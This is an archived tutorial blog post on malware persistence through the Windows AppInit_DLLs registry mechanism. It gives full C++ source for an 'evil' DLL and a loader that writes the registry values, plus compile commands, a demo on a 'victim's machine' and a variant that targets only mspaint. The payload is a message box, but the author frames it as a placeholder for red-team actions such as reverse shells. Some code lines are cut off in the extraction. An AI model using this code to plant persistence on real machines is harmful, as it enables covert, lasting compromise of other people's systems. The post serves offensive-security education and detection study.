Malware development: persistence - part 5. AppInit_DLLs. Simple C++ example. By cocomelonc Published: 2022-05-16 · Archived: 2026-04-05 13:49:32 UTC 3 minute read ﷽ Hello, cybersecurity enthusiasts and white hackers! This post is a next part of a series of articles on windows malware persistence techniques and tricks. Today I’ll write about the result of my own research into another persistence trick: AppInit_DLLs. Windows operating systems have the functionality to allow nearly all application processes to load custom DLLs into their address space. This allows for the possibility of persistence, as any DLL may be loaded and executed when application processes are created on the system. AppInit DLLsPermalink https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 1 of 11 Administrator level privileges are necessary to implement this trick. The following registry keys regulate the loading of DLLs via AppInit: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows - 32-bit HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows - 64-bit We are interested in the following values: reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /s And for 64-bit : reg query "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /s https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 2 of 11 Microsoft to protect Windows users from malware has disabled by default the loading of DLLs’s via AppInit ( LoadAppInit_DLLs ). However, setting the registry key LoadAppInit_DLLs to value 1 will enable this feature. practical examplePermalink First of all, create “evil” DLL. As usual I will take “meow-meow” messagebox pop-up logic: /* evil.cpp inject via Appinit_DLLs author: @cocomelonc https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html */ #include #pragma comment (lib, "user32.lib") extern "C" { __declspec(dllexport) BOOL WINAPI runMe(void) { MessageBoxA(NULL, "Meow-meow!", "=^..^=", MB_OK); return TRUE; } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) { switch (nReason) { case DLL_PROCESS_ATTACH: runMe(); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } Let’s go to compile it: x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 3 of 11 Then simple logic: changing the registry key AppInit_DLLs to contain the path to the DLL, as a result, evil.dll will be loaded. For this create another app pers.cpp : /* pers.cpp windows low level persistense via Appinit_DLLs author: @cocomelonc https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html */ #include #include int main(int argc, char* argv[]) { HKEY hkey = NULL; // malicious DLL const char* dll = "Z:\\2022-05-16-malware-pers-5\\evil.dll"; // activation DWORD act = 1; // 32-bit and 64-bit LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows" if (res == ERROR_SUCCESS) { // create new registry keys RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE*)&act, sizeof(act)); RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs", 0, REG_SZ, (unsigned char*)dll, strlen(dll)); RegCloseKey(hkey); } res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\ if (res == ERROR_SUCCESS) { // create new registry keys RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE*)&act, sizeof(act)); RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs", 0, REG_SZ, (unsigned char*)dll, strlen(dll)); https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 4 of 11 RegCloseKey(hkey); } return 0; } As you can see, setting the registry key LoadAppInit_DLLs to value 1 is also important. Let’s go to compile it: x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-s demoPermalink Let’s go to see everything in action! Drop all to victim’s machine ( Windows 10 x64 in my case). Then run as Administartor: and: reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /s reg query "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /s just check. https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 5 of 11 Then, for demonstration, open something like Paint or Notepad : https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 6 of 11 So, everything is worked perfectly :) second example:Permalink However, this method’s implementation may result in stability and performance difficulties on the target system: https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 7 of 11 Furthermore, I think that the logic of the first DLL’s is considered very odd since multiple message boxes popup, so when we act real-life action in red team scenarios: it’s very noisy, for example for multiple reverse shell connections. I tried updating little bit the logic of evil.dll : /* evil2.cpp inject via Appinit_DLLs - only for `mspaint.exe` author: @cocomelonc https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html */ #include #pragma comment (lib, "user32.lib") char* subStr(char *str, char *substr) { while (*str) { char *Begin = str; char *pattern = substr; while (*str && *pattern && *str == *pattern) { str++; pattern++; } if (!*pattern) return Begin; str = Begin + 1; } return NULL; } extern "C" { __declspec(dllexport) BOOL WINAPI runMe(void) { MessageBoxA(NULL, "Meow-meow!", "=^..^=", MB_OK); return TRUE; } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) { char path[MAX_PATH]; switch (nReason) { case DLL_PROCESS_ATTACH: GetModuleFileName(NULL, path, MAX_PATH); if (subStr(path, (char *)"paint")) { runMe(); } https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 8 of 11 break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } As you can see, if the current process is paint (and is 32-bits) then, “inject” :) Perfect! :) https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 9 of 11 For cleanup, after end of experiments: reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /d 0 reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /f https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 10 of 11 This technique is not new, but it is worth paying attention to it, in the wild, this trick was often used by groups such as APT 39 and malwares as Ramsay. MITRE ATT&CK: APPInit_DLLs APT39 Ramsay source code in github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine Source: https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html Page 11 of 11